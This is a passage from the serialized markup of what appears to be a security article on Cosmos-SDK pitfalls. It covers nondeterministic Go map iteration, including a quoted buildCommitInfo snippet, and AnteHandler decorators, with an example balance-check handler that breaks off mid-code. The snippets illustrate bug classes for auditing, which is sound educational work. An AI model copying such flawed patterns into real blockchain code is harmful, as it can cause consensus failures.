}\n}\n",[81073],{"type":22,"tag":30,"props":81074,"children":81075},{"__ignoreMap":7},[81076,81107,81114,81141,81161,81188,81224,81231,81260,81267,81302,81329,81348,81359,81403,81410,81417,81424],{"type":22,"tag":101,"props":81077,"children":81078},{"class":103,"line":104},[81079,81083,81087,81091,81095,81099,81103],{"type":22,"tag":101,"props":81080,"children":81081},{"style":108},[81082],{"type":27,"value":36752},{"type":22,"tag":101,"props":81084,"children":81085},{"style":114},[81086],{"type":27,"value":80821},{"type":22,"tag":101,"props":81088,"children":81089},{"style":108},[81090],{"type":27,"value":53665},{"type":22,"tag":101,"props":81092,"children":81093},{"style":120},[81094],{"type":27,"value":2414},{"type":22,"tag":101,"props":81096,"children":81097},{"style":114},[81098],{"type":27,"value":33663},{"type":22,"tag":101,"props":81100,"children":81101},{"style":120},[81102],{"type":27,"value":19412},{"type":22,"tag":101,"props":81104,"children":81105},{"style":114},[81106],{"type":27,"value":80842},{"type":22,"tag":101,"props":81108,"children":81109},{"class":103,"line":157},[81110],{"type":22,"tag":101,"props":81111,"children":81112},{"emptyLinePlaceholder":15},[81113],{"type":27,"value":1581},{"type":22,"tag":101,"props":81115,"children":81116},{"class":103,"line":182},[81117,81121,81125,81129,81133,81137],{"type":22,"tag":101,"props":81118,"children":81119},{"style":108},[81120],{"type":27,"value":79807},{"type":22,"tag":101,"props":81122,"children":81123},{"style":926},[81124],{"type":27,"value":80861},{"type":22,"tag":101,"props":81126,"children":81127},{"style":120},[81128],{"type":27,"value":980},{"type":22,"tag":101,"props":81130,"children":81131},{"style":126},[81132],{"type":27,"value":80870},{"type":22,"tag":101,"props":81134,"children":81135},{"style":114},[81136],{"type":27,"value":80821},{"type":22,"tag":101,"props":81138,"children":81139},{"style":120},[81140],{"type":27,"value":1463},{"type":22,"tag":101,"props":81142,"children":81143},{"class":103,"line":367},[81144,81149,81153,81157],{"type":22,"tag":101,"props":81145,"children":81146},{"style":108},[81147],{"type":27,"value":81148}," var",{"type":22,"tag":101,"props":81150,"children":81151},{"style":126},[81152],{"type":27,"value":25367},{"type":22,"tag":101,"props":81154,"children":81155},{"style":120},[81156],{"type":27,"value":79734},{"type":22,"tag":101,"props":81158,"children":81159},{"style":114},[81160],{"type":27,"value":80842},{"type":22,"tag":101,"props":81162,"children":81163},{"class":103,"line":398},[81164,81168,81172,81176,81180,81184],{"type":22,"tag":101,"props":81165,"children":81166},{"style":3595},[81167],{"type":27,"value":7078},{"type":22,"tag":101,"props":81169,"children":81170},{"style":126},[81171],{"type":27,"value":310},{"type":22,"tag":101,"props":81173,"children":81174},{"style":166},[81175],{"type":27,"value":79923},{"type":22,"tag":101,"props":81177,"children":81178},{"style":3595},[81179],{"type":27,"value":80906},{"type":22,"tag":101,"props":81181,"children":81182},{"style":126},[81183],{"type":27,"value":80911},{"type":22,"tag":101,"props":81185,"children":81186},{"style":120},[81187],{"type":27,"value":154},{"type":22,"tag":101,"props":81189,"children":81190},{"class":103,"line":428},[81191,81195,81199,81204,81208,81212,81216,81220],{"type":22,"tag":101,"props":81192,"children":81193},{"style":126},[81194],{"type":27,"value":29329},{"type":22,"tag":101,"props":81196,"children":81197},{"style":166},[81198],{"type":27,"value":960},{"type":22,"tag":101,"props":81200,"children":81201},{"style":926},[81202],{"type":27,"value":81203}," append",{"type":22,"tag":101,"props":81205,"children":81206},{"style":120},[81207],{"type":27,"value":980},{"type":22,"tag":101,"props":81209,"children":81210},{"style":126},[81211],{"type":27,"value":24970},{"type":22,"tag":101,"props":81213,"children":81214},{"style":120},[81215],{"type":27,"value":758},{"type":22,"tag":101,"props":81217,"children":81218},{"style":126},[81219],{"type":27,"value":75661},{"type":22,"tag":101,"props":81221,"children":81222},{"style":120},[81223],{"type":27,"value":2510},{"type":22,"tag":101,"props":81225,"children":81226},{"class":103,"line":997},[81227],{"type":22,"tag":101,"props":81228,"children":81229},{"style":120},[81230],{"type":27,"value":1734},{"type":22,"tag":101,"props":81232,"children":81233},{"class":103,"line":1032},[81234,81239,81243,81248,81252,81256],{"type":22,"tag":101,"props":81235,"children":81236},{"style":126},[81237],{"type":27,"value":81238}," sort",{"type":22,"tag":101,"props":81240,"children":81241},{"style":120},[81242],{"type":27,"value":231},{"type":22,"tag":101,"props":81244,"children":81245},{"style":926},[81246],{"type":27,"value":81247},"Strings",{"type":22,"tag":101,"props":81249,"children":81250},{"style":120},[81251],{"type":27,"value":980},{"type":22,"tag":101,"props":81253,"children":81254},{"style":126},[81255],{"type":27,"value":24970},{"type":22,"tag":101,"props":81257,"children":81258},{"style":120},[81259],{"type":27,"value":2510},{"type":22,"tag":101,"props":81261,"children":81262},{"class":103,"line":1063},[81263],{"type":22,"tag":101,"props":81264,"children":81265},{"emptyLinePlaceholder":15},[81266],{"type":27,"value":1581},{"type":22,"tag":101,"props":81268,"children":81269},{"class":103,"line":1071},[81270,81274,81278,81282,81286,81290,81294,81298],{"type":22,"tag":101,"props":81271,"children":81272},{"style":3595},[81273],{"type":27,"value":7078},{"type":22,"tag":101,"props":81275,"children":81276},{"style":126},[81277],{"type":27,"value":1501},{"type":22,"tag":101,"props":81279,"children":81280},{"style":120},[81281],{"type":27,"value":758},{"type":22,"tag":101,"props":81283,"children":81284},{"style":126},[81285],{"type":27,"value":75661},{"type":22,"tag":101,"props":81287,"children":81288},{"style":166},[81289],{"type":27,"value":79923},{"type":22,"tag":101,"props":81291,"children":81292},{"style":3595},[81293],{"type":27,"value":80906},{"type":22,"tag":101,"props":81295,"children":81296},{"style":126},[81297],{"type":27,"value":25367},{"type":22,"tag":101,"props":81299,"children":81300},{"style":120},[81301],{"type":27,"value":154},{"type":22,"tag":101,"props":81303,"children":81304},{"class":103,"line":1110},[81305,81309,81313,81317,81321,81325],{"type":22,"tag":101,"props":81306,"children":81307},{"style":126},[81308],{"type":27,"value":30184},{"type":22,"tag":101,"props":81310,"children":81311},{"style":120},[81312],{"type":27,"value":231},{"type":22,"tag":101,"props":81314,"children":81315},{"style":126},[81316],{"type":27,"value":80931},{"type":22,"tag":101,"props":81318,"children":81319},{"style":120},[81320],{"type":27,"value":231},{"type":22,"tag":101,"props":81322,"children":81323},{"style":926},[81324],{"type":27,"value":80940},{"type":22,"tag":101,"props":81326,"children":81327},{"style":120},[81328],{"type":27,"value":1850},{"type":22,"tag":101,"props":81330,"children":81331},{"class":103,"line":1118},[81332,81336,81340,81344],{"type":22,"tag":101,"props":81333,"children":81334},{"style":126},[81335],{"type":27,"value":80952},{"type":22,"tag":101,"props":81337,"children":81338},{"style":120},[81339],{"type":27,"value":231},{"type":22,"tag":101,"props":81341,"children":81342},{"style":926},[81343],{"type":27,"value":80961},{"type":22,"tag":101,"props":81345,"children":81346},{"style":120},[81347],{"type":27,"value":1850},{"type":22,"tag":101,"props":81349,"children":81350},{"class":103,"line":1158},[81351,81355],{"type":22,"tag":101,"props":81352,"children":81353},{"style":6476},[81354],{"type":27,"value":80973},{"type":22,"tag":101,"props":81356,"children":81357},{"style":120},[81358],{"type":27,"value":179},{"type":22,"tag":101,"props":81360,"children":81361},{"class":103,"line":1166},[81362,81366,81370,81374,81378,81382,81386,81390,81394,81398],{"type":22,"tag":101,"props":81363,"children":81364},{"style":126},[81365],{"type":27,"value":80985},{"type":22,"tag":101,"props":81367,"children":81368},{"style":120},[81369],{"type":27,"value":231},{"type":22,"tag":101,"props":81371,"children":81372},{"style":926},[81373],{"type":27,"value":80994},{"type":22,"tag":101,"props":81375,"children":81376},{"style":120},[81377],{"type":27,"value":980},{"type":22,"tag":101,"props":81379,"children":81380},{"style":126},[81381],{"type":27,"value":75661},{"type":22,"tag":101,"props":81383,"children":81384},{"style":120},[81385],{"type":27,"value":758},{"type":22,"tag":101,"props":81387,"children":81388},{"style":126},[81389],{"type":27,"value":80870},{"type":22,"tag":101,"props":81391,"children":81392},{"style":120},[81393],{"type":27,"value":2414},{"type":22,"tag":101,"props":81395,"children":81396},{"style":126},[81397],{"type":27,"value":75661},{"type":22,"tag":101,"props":81399,"children":81400},{"style":120},[81401],{"type":27,"value":81402},"]),\n",{"type":22,"tag":101,"props":81404,"children":81405},{"class":103,"line":1215},[81406],{"type":22,"tag":101,"props":81407,"children":81408},{"style":120},[81409],{"type":27,"value":81022},{"type":22,"tag":101,"props":81411,"children":81412},{"class":103,"line":2425},[81413],{"type":22,"tag":101,"props":81414,"children":81415},{"style":120},[81416],{"type":27,"value":71825},{"type":22,"tag":101,"props":81418,"children":81419},{"class":103,"line":5417},[81420],{"type":22,"tag":101,"props":81421,"children":81422},{"style":120},[81423],{"type":27,"value":1734},{"type":22,"tag":101,"props":81425,"children":81426},{"class":103,"line":7714},[81427],{"type":22,"tag":101,"props":81428,"children":81429},{"style":120},[81430],{"type":27,"value":188},{"type":22,"tag":23,"props":81432,"children":81433},{},[81434],{"type":27,"value":81435},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":22,"tag":1760,"props":81437,"children":81439},{"id":81438},"real-world-examples-1",[81440],{"type":27,"value":80196},{"type":22,"tag":23,"props":81442,"children":81443},{},[81444,81446,81451,81453,81459,81461,81467,81469,81475],{"type":27,"value":81445},"Real-world examples of ",{"type":22,"tag":30,"props":81447,"children":81449},{"className":81448},[],[81450],{"type":27,"value":6350},{"type":27,"value":81452}," causing determinism problems can be found ",{"type":22,"tag":80,"props":81454,"children":81457},{"href":81455,"rel":81456},"https://github.com/cosmos/cosmos-sdk/pull/12487",[84],[81458],{"type":27,"value":51581},{"type":27,"value":81460},", specifically, where the result of ",{"type":22,"tag":30,"props":81462,"children":81464},{"className":81463},[],[81465],{"type":27,"value":81466},"buildCommitInfo",{"type":27,"value":81468}," is inconsistent due to iteration over the ",{"type":22,"tag":30,"props":81470,"children":81472},{"className":81471},[],[81473],{"type":27,"value":81474},"rs.stores",{"type":27,"value":81476}," map.",{"type":22,"tag":23,"props":81478,"children":81479},{},[81480],{"type":22,"tag":80,"props":81481,"children":81484},{"href":81482,"rel":81483},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[84],[81485],{"type":27,"value":80246},{"type":22,"tag":91,"props":81487,"children":81489},{"code":81488,"language":79671,"meta":7,"className":79672,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[81490],{"type":22,"tag":30,"props":81491,"children":81492},{"__ignoreMap":7},[81493,81530,81543,81571,81605,81650,81696,81704,81711,81756,81786,81815,81822,81829,81856,81878,81898,81905],{"type":22,"tag":101,"props":81494,"children":81495},{"class":103,"line":104},[81496,81500,81504,81509,81513,81518,81522,81526],{"type":22,"tag":101,"props":81497,"children":81498},{"style":108},[81499],{"type":27,"value":79807},{"type":22,"tag":101,"props":81501,"children":81502},{"style":120},[81503],{"type":27,"value":3603},{"type":22,"tag":101,"props":81505,"children":81506},{"style":126},[81507],{"type":27,"value":81508},"rs ",{"type":22,"tag":101,"props":81510,"children":81511},{"style":166},[81512],{"type":27,"value":8615},{"type":22,"tag":101,"props":81514,"children":81515},{"style":114},[81516],{"type":27,"value":81517},"Store",{"type":22,"tag":101,"props":81519,"children":81520},{"style":120},[81521],{"type":27,"value":901},{"type":22,"tag":101,"props":81523,"children":81524},{"style":926},[81525],{"type":27,"value":81466},{"type":22,"tag":101,"props":81527,"children":81528},{"style":120},[81529],{"type":27,"value":1850},{"type":22,"tag":101,"props":81531,"children":81532},{"class":103,"line":157},[81533,81538],{"type":22,"tag":101,"props":81534,"children":81535},{"style":126},[81536],{"type":27,"value":81537}," version",{"type":22,"tag":101,"props":81539,"children":81540},{"style":114},[81541],{"type":27,"value":81542}," int64\n",{"type":22,"tag":101,"props":81544,"children":81545},{"class":103,"line":182},[81546,81550,81554,81558,81562,81567],{"type":22,"tag":101,"props":81547,"children":81548},{"style":120},[81549],{"type":27,"value":901},{"type":22,"tag":101,"props":81551,"children":81552},{"style":166},[81553],{"type":27,"value":8615},{"type":22,"tag":101,"props":81555,"children":81556},{"style":114},[81557],{"type":27,"value":9802},{"type":22,"tag":101,"props":81559,"children":81560},{"style":120},[81561],{"type":27,"value":231},{"type":22,"tag":101,"props":81563,"children":81564},{"style":114},[81565],{"type":27,"value":81566},"CommitInfo",{"type":22,"tag":101,"props":81568,"children":81569},{"style":120},[81570],{"type":27,"value":154},{"type":22,"tag":101,"props":81572,"children":81573},{"class":103,"line":367},[81574,81579,81583,81587,81591,81595,81600],{"type":22,"tag":101,"props":81575,"children":81576},{"style":126},[81577],{"type":27,"value":81578}," storeInfos",{"type":22,"tag":101,"props":81580,"children":81581},{"style":166},[81582],{"type":27,"value":79923},{"type":22,"tag":101,"props":81584,"children":81585},{"style":120},[81586],{"type":27,"value":79734},{"type":22,"tag":101,"props":81588,"children":81589},{"style":114},[81590],{"type":27,"value":9802},{"type":22,"tag":101,"props":81592,"children":81593},{"style":120},[81594],{"type":27,"value":231},{"type":22,"tag":101,"props":81596,"children":81597},{"style":114},[81598],{"type":27,"value":81599},"StoreInfo",{"type":22,"tag":101,"props":81601,"children":81602},{"style":120},[81603],{"type":27,"value":81604},"{}\n",{"type":22,"tag":101,"props":81606,"children":81607},{"class":103,"line":398},[81608,81612,81616,81620,81624,81628,81632,81637,81641,81646],{"type":22,"tag":101,"props":81609,"children":81610},{"style":3595},[81611],{"type":27,"value":7078},{"type":22,"tag":101,"props":81613,"children":81614},{"style":126},[81615],{"type":27,"value":310},{"type":22,"tag":101,"props":81617,"children":81618},{"style":120},[81619],{"type":27,"value":758},{"type":22,"tag":101,"props":81621,"children":81622},{"style":126},[81623],{"type":27,"value":256},{"type":22,"tag":101,"props":81625,"children":81626},{"style":166},[81627],{"type":27,"value":79923},{"type":22,"tag":101,"props":81629,"children":81630},{"style":3595},[81631],{"type":27,"value":80906},{"type":22,"tag":101,"props":81633,"children":81634},{"style":126},[81635],{"type":27,"value":81636}," rs",{"type":22,"tag":101,"props":81638,"children":81639},{"style":120},[81640],{"type":27,"value":231},{"type":22,"tag":101,"props":81642,"children":81643},{"style":126},[81644],{"type":27,"value":81645},"stores",{"type":22,"tag":101,"props":81647,"children":81648},{"style":120},[81649],{"type":27,"value":154},{"type":22,"tag":101,"props":81651,"children":81652},{"class":103,"line":428},[81653,81657,81661,81665,81670,81674,81678,81683,81687,81692],{"type":22,"tag":101,"props":81654,"children":81655},{"style":3595},[81656],{"type":27,"value":7312},{"type":22,"tag":101,"props":81658,"children":81659},{"style":126},[81660],{"type":27,"value":149},{"type":22,"tag":101,"props":81662,"children":81663},{"style":120},[81664],{"type":27,"value":231},{"type":22,"tag":101,"props":81666,"children":81667},{"style":926},[81668],{"type":27,"value":81669},"GetStoreType",{"type":22,"tag":101,"props":81671,"children":81672},{"style":120},[81673],{"type":27,"value":18045},{"type":22,"tag":101,"props":81675,"children":81676},{"style":166},[81677],{"type":27,"value":4340},{"type":22,"tag":101,"props":81679,"children":81680},{"style":126},[81681],{"type":27,"value":81682}," types",{"type":22,"tag":101,"props":81684,"children":81685},{"style":120},[81686],{"type":27,"value":231},{"type":22,"tag":101,"props":81688,"children":81689},{"style":126},[81690],{"type":27,"value":81691},"StoreTypeTransient",{"type":22,"tag":101,"props":81693,"children":81694},{"style":120},[81695],{"type":27,"value":154},{"type":22,"tag":101,"props":81697,"children":81698},{"class":103,"line":997},[81699],{"type":22,"tag":101,"props":81700,"children":81701},{"style":3595},[81702],{"type":27,"value":81703}," continue\n",{"type":22,"tag":101,"props":81705,"children":81706},{"class":103,"line":1032},[81707],{"type":22,"tag":101,"props":81708,"children":81709},{"style":120},[81710],{"type":27,"value":2398},{"type":22,"tag":101,"props":81712,"children":81713},{"class":103,"line":1063},[81714,81719,81723,81727,81731,81736,81740,81744,81748,81752],{"type":22,"tag":101,"props":81715,"children":81716},{"style":126},[81717],{"type":27,"value":81718}," storeInfos",{"type":22,"tag":101,"props":81720,"children":81721},{"style":166},[81722],{"type":27,"value":960},{"type":22,"tag":101,"props":81724,"children":81725},{"style":926},[81726],{"type":27,"value":81203},{"type":22,"tag":101,"props":81728,"children":81729},{"style":120},[81730],{"type":27,"value":980},{"type":22,"tag":101,"props":81732,"children":81733},{"style":126},[81734],{"type":27,"value":81735},"storeInfos",{"type":22,"tag":101,"props":81737,"children":81738},{"style":120},[81739],{"type":27,"value":758},{"type":22,"tag":101,"props":81741,"children":81742},{"style":114},[81743],{"type":27,"value":9802},{"type":22,"tag":101,"props":81745,"children":81746},{"style":120},[81747],{"type":27,"value":231},{"type":22,"tag":101,"props":81749,"children":81750},{"style":114},[81751],{"type":27,"value":81599},{"type":22,"tag":101,"props":81753,"children":81754},{"style":120},[81755],{"type":27,"value":14886},{"type":22,"tag":101,"props":81757,"children":81758},{"class":103,"line":1071},[81759,81764,81769,81773,81777,81782],{"type":22,"tag":101,"props":81760,"children":81761},{"style":126},[81762],{"type":27,"value":81763}," Name",{"type":22,"tag":101,"props":81765,"children":81766},{"style":120},[81767],{"type":27,"value":81768},": ",{"type":22,"tag":101,"props":81770,"children":81771},{"style":126},[81772],{"type":27,"value":75661},{"type":22,"tag":101,"props":81774,"children":81775},{"style":120},[81776],{"type":27,"value":231},{"type":22,"tag":101,"props":81778,"children":81779},{"style":926},[81780],{"type":27,"value":81781},"Name",{"type":22,"tag":101,"props":81783,"children":81784},{"style":120},[81785],{"type":27,"value":7526},{"type":22,"tag":101,"props":81787,"children":81788},{"class":103,"line":1110},[81789,81794,81798,81802,81806,81811],{"type":22,"tag":101,"props":81790,"children":81791},{"style":126},[81792],{"type":27,"value":81793}," CommitId",{"type":22,"tag":101,"props":81795,"children":81796},{"style":120},[81797],{"type":27,"value":19332},{"type":22,"tag":101,"props":81799,"children":81800},{"style":126},[81801],{"type":27,"value":256},{"type":22,"tag":101,"props":81803,"children":81804},{"style":120},[81805],{"type":27,"value":231},{"type":22,"tag":101,"props":81807,"children":81808},{"style":926},[81809],{"type":27,"value":81810},"LastCommitID",{"type":22,"tag":101,"props":81812,"children":81813},{"style":120},[81814],{"type":27,"value":7526},{"type":22,"tag":101,"props":81816,"children":81817},{"class":103,"line":1118},[81818],{"type":22,"tag":101,"props":81819,"children":81820},{"style":120},[81821],{"type":27,"value":71702},{"type":22,"tag":101,"props":81823,"children":81824},{"class":103,"line":1158},[81825],{"type":22,"tag":101,"props":81826,"children":81827},{"style":120},[81828],{"type":27,"value":1734},{"type":22,"tag":101,"props":81830,"children":81831},{"class":103,"line":1166},[81832,81836,81840,81844,81848,81852],{"type":22,"tag":101,"props":81833,"children":81834},{"style":3595},[81835],{"type":27,"value":20986},{"type":22,"tag":101,"props":81837,"children":81838},{"style":166},[81839],{"type":27,"value":870},{"type":22,"tag":101,"props":81841,"children":81842},{"style":114},[81843],{"type":27,"value":9802},{"type":22,"tag":101,"props":81845,"children":81846},{"style":120},[81847],{"type":27,"value":231},{"type":22,"tag":101,"props":81849,"children":81850},{"style":114},[81851],{"type":27,"value":81566},{"type":22,"tag":101,"props":81853,"children":81854},{"style":120},[81855],{"type":27,"value":14886},{"type":22,"tag":101,"props":81857,"children":81858},{"class":103,"line":1215},[81859,81864,81869,81874],{"type":22,"tag":101,"props":81860,"children":81861},{"style":126},[81862],{"type":27,"value":81863}," Version",{"type":22,"tag":101,"props":81865,"children":81866},{"style":120},[81867],{"type":27,"value":81868},": ",{"type":22,"tag":101,"props":81870,"children":81871},{"style":126},[81872],{"type":27,"value":81873},"version",{"type":22,"tag":101,"props":81875,"children":81876},{"style":120},[81877],{"type":27,"value":179},{"type":22,"tag":101,"props":81879,"children":81880},{"class":103,"line":2425},[81881,81886,81890,81894],{"type":22,"tag":101,"props":81882,"children":81883},{"style":126},[81884],{"type":27,"value":81885}," StoreInfos",{"type":22,"tag":101,"props":81887,"children":81888},{"style":120},[81889],{"type":27,"value":19332},{"type":22,"tag":101,"props":81891,"children":81892},{"style":126},[81893],{"type":27,"value":81735},{"type":22,"tag":101,"props":81895,"children":81896},{"style":120},[81897],{"type":27,"value":179},{"type":22,"tag":101,"props":81899,"children":81900},{"class":103,"line":5417},[81901],{"type":22,"tag":101,"props":81902,"children":81903},{"style":120},[81904],{"type":27,"value":1734},{"type":22,"tag":101,"props":81906,"children":81907},{"class":103,"line":7714},[81908],{"type":22,"tag":101,"props":81909,"children":81910},{"style":120},[81911],{"type":27,"value":188},{"type":22,"tag":23,"props":81913,"children":81914},{},[81915,81917,81924,81925,81932],{"type":27,"value":81916},"Other factors contributing to determinism issues are the usage of ",{"type":22,"tag":80,"props":81918,"children":81921},{"href":81919,"rel":81920},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[84],[81922],{"type":27,"value":81923},"time-sensitive functions",{"type":27,"value":209},{"type":22,"tag":80,"props":81926,"children":81929},{"href":81927,"rel":81928},"https://github.com/cosmos/cosmos-sdk/issues/16638",[84],[81930],{"type":27,"value":81931},"race conditions",{"type":27,"value":231},{"type":22,"tag":53,"props":81934,"children":81936},{"id":81935},"thou-shalt-not-passor-should-you",[81937],{"type":27,"value":81938},"Thou Shalt Not Pass...Or Should You?",{"type":22,"tag":23,"props":81940,"children":81941},{},[81942,81944,81950,81951,81957],{"type":27,"value":81943},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":22,"tag":30,"props":81945,"children":81947},{"className":81946},[],[81948],{"type":27,"value":81949},"msg.value",{"type":27,"value":758},{"type":22,"tag":30,"props":81952,"children":81954},{"className":81953},[],[81955],{"type":27,"value":81956},"msg.sender",{"type":27,"value":81958},", and collecting transaction fees) to the underlying blockchain.",{"type":22,"tag":23,"props":81960,"children":81961},{},[81962,81964,81970,81972,81978],{"type":27,"value":81963},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":22,"tag":30,"props":81965,"children":81967},{"className":81966},[],[81968],{"type":27,"value":81969},"Cosmos-SDK",{"type":27,"value":81971}," introduces ",{"type":22,"tag":30,"props":81973,"children":81975},{"className":81974},[],[81976],{"type":27,"value":81977},"AnteHandler",{"type":27,"value":81979}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":22,"tag":23,"props":81981,"children":81982},{},[81983,81985,81990,81992,81997],{"type":27,"value":81984},"To provide context, let's first understand how an ",{"type":22,"tag":30,"props":81986,"children":81988},{"className":81987},[],[81989],{"type":27,"value":81977},{"type":27,"value":81991}," is processed. Each ",{"type":22,"tag":30,"props":81993,"children":81995},{"className":81994},[],[81996],{"type":27,"value":81977},{"type":27,"value":81998}," is a state transition function that can:",{"type":22,"tag":6828,"props":82000,"children":82001},{},[82002,82007],{"type":22,"tag":6832,"props":82003,"children":82004},{},[82005],{"type":27,"value":82006},"Transform the block state in relation to transaction and execution context.",{"type":22,"tag":6832,"props":82008,"children":82009},{},[82010,82012],{"type":27,"value":82011},"Determine the course of action for the transaction.\n",{"type":22,"tag":6828,"props":82013,"children":82014},{},[82015,82026],{"type":22,"tag":6832,"props":82016,"children":82017},{},[82018,82020,82025],{"type":27,"value":82019},"Pass the transaction to the next ",{"type":22,"tag":30,"props":82021,"children":82023},{"className":82022},[],[82024],{"type":27,"value":81977},{"type":27,"value":231},{"type":22,"tag":6832,"props":82027,"children":82028},{},[82029],{"type":27,"value":82030},"Return error for transaction.",{"type":22,"tag":23,"props":82032,"children":82033},{},[82034,82036,82041],{"type":27,"value":82035},"The bad news is that developing an ",{"type":22,"tag":30,"props":82037,"children":82039},{"className":82038},[],[82040],{"type":27,"value":81977},{"type":27,"value":82042}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":22,"tag":23,"props":82044,"children":82045},{},[82046,82047,82053],{"type":27,"value":2007},{"type":22,"tag":30,"props":82048,"children":82050},{"className":82049},[],[82051],{"type":27,"value":82052},"AnteHandle",{"type":27,"value":82054}," implementation may look something like this:",{"type":22,"tag":91,"props":82056,"children":82058},{"code":82057,"language":79671,"meta":7,"className":79672,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[82059],{"type":22,"tag":30,"props":82060,"children":82061},{"__ignoreMap":7},[82062,82074,82090,82097,82104,82137,82161,82186,82202,82226,82258,82306,82325,82358,82379,82391,82398,82405,82412,82442,82478,82542,82576,82608,82620,82632,82639,82646,82653,82660,82702],{"type":22,"tag":101,"props":82063,"children":82064},{"class":103,"line":104},[82065,82069],{"type":22,"tag":101,"props":82066,"children":82067},{"style":108},[82068],{"type":27,"value":13660},{"type":22,"tag":101,"props":82070,"children":82071},{"style":120},[82072],{"type":27,"value":82073}," (\n",{"type":22,"tag":101,"props":82075,"children":82076},{"class":103,"line":157},[82077,82082,82086],{"type":22,"tag":101,"props":82078,"children":82079},{"style":126},[82080],{"type":27,"value":82081}," MIN_BALANCE",{"type":22,"tag":101,"props":82083,"children":82084},{"style":166},[82085],{"type":27,"value":960},{"type":22,"tag":101,"props":82087,"children":82088},{"style":1544},[82089],{"type":27,"value":23333},{"type":22,"tag":101,"props":82091,"children":82092},{"class":103,"line":182},[82093],{"type":22,"tag":101,"props":82094,"children":82095},{"style":120},[82096],{"type":27,"value":2510},{"type":22,"tag":101,"props":82098,"children":82099},{"class":103,"line":367},[82100],{"type":22,"tag":101,"props":82101,"children":82102},{"emptyLinePlaceholder":15},[82103],{"type":27,"value":1581},{"type":22,"tag":101,"props":82105,"children":82106},{"class":103,"line":398},[82107,82111,82115,82120,82125,82129,82133],{"type":22,"tag":101,"props":82108,"children":82109},{"style":108},[82110],{"type":27,"value":79807},{"type":22,"tag":101,"props":82112,"children":82113},{"style":120},[82114],{"type":27,"value":3603},{"type":22,"tag":101,"props":82116,"children":82117},{"style":126},[82118],{"type":27,"value":82119},"abd ",{"type":22,"tag":101,"props":82121,"children":82122},{"style":114},[82123],{"type":27,"value":82124},"AccountBalanceDecorator",{"type":22,"tag":101,"props":82126,"children":82127},{"style":120},[82128],{"type":27,"value":901},{"type":22,"tag":101,"props":82130,"children":82131},{"style":926},[82132],{"type":27,"value":82052},{"type":22,"tag":101,"props":82134,"children":82135},{"style":120},[82136],{"type":27,"value":1850},{"type":22,"tag":101,"props":82138,"children":82139},{"class":103,"line":428},[82140,82144,82149,82153,82157],{"type":22,"tag":101,"props":82141,"children":82142},{"style":126},[82143],{"type":27,"value":24215},{"type":22,"tag":101,"props":82145,"children":82146},{"style":114},[82147],{"type":27,"value":82148}," sdk",{"type":22,"tag":101,"props":82150,"children":82151},{"style":120},[82152],{"type":27,"value":231},{"type":22,"tag":101,"props":82154,"children":82155},{"style":114},[82156],{"type":27,"value":79856},{"type":22,"tag":101,"props":82158,"children":82159},{"style":120},[82160],{"type":27,"value":179},{"type":22,"tag":101,"props":82162,"children":82163},{"class":103,"line":997},[82164,82169,82173,82177,82182],{"type":22,"tag":101,"props":82165,"children":82166},{"style":126},[82167],{"type":27,"value":82168}," tx",{"type":22,"tag":101,"props":82170,"children":82171},{"style":114},[82172],{"type":27,"value":82148},{"type":22,"tag":101,"props":82174,"children":82175},{"style":120},[82176],{"type":27,"value":231},{"type":22,"tag":101,"props":82178,"children":82179},{"style":114},[82180],{"type":27,"value":82181},"Tx",{"type":22,"tag":101,"props":82183,"children":82184},{"style":120},[82185],{"type":27,"value":179},{"type":22,"tag":101,"props":82187,"children":82188},{"class":103,"line":1032},[82189,82194,82198],{"type":22,"tag":101,"props":82190,"children":82191},{"style":126},[82192],{"type":27,"value":82193}," simulate",{"type":22,"tag":101,"props":82195,"children":82196},{"style":114},[82197],{"type":27,"value":360},{"type":22,"tag":101,"props":82199,"children":82200},{"style":120},[82201],{"type":27,"value":179},{"type":22,"tag":101,"props":82203,"children":82204},{"class":103,"line":1063},[82205,82210,82214,82218,82222],{"type":22,"tag":101,"props":82206,"children":82207},{"style":126},[82208],{"type":27,"value":82209}," 